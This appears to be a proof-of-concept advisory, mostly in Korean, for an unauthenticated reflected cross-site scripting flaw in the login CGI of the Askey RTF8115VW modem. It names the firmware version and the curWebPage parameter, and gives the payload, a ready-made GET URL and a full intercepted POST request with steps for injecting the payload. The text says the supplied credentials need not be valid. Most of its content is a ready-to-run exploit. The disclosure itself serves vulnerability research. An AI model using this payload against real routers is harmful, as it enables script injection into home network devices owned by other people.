
XSS-Askey
인증되지 않은 크로스 사이트 스크립팅 - Askey 인터넷 광대역 모뎀
벤더: Askey
소프트웨어 버전: BR_SV_g11.11_RTF_TEF001_V6.54_V014
모델: RTF8115VW
취약한 파라미터: curWebPage
페이로드: ";alert('xss')//
다른 모델/버전에서는 테스트되지 않았습니다.
GET 요청을 통해
At the login request we can issue a GET Request:
http://x.x.x.x/cgi-bin/te_acceso_router.cgi?curWebPage=/settings-internet.asp";alert('xss')//&loginUsername=admin&loginPassword=admin
The Username and Password param, don't need to be valid.

POST 요청을 통해
1) 프록시(Burp/ZAP 등)를 설정하여 로그인 요청을 가로챕니다.
2) curWebPage 파라미터가 사용하는 .asp 페이지 뒤에 페이로드를 입력합니다.
3) 요청을 전달합니다.
최종 요청
POST /cgi-bin/te_acceso_router.cgi HTTP/1.1
Host: x.x.x.x
Origin: http://x.x.x.x
Cookie: _httpdSessionId_=ece9eb5b733f7cbc8198ce9b6ab995c2
Upgrade-Insecure-Requests: 1
Referer: http://x.x.x.x/login.asp
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Connection: close
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate
Content-Length: 35
curWebPage=%2Fsettings-firewall.asp+payload
<!---curWebPage=%2Fsettings-firewall.asp";alert('xss')//--->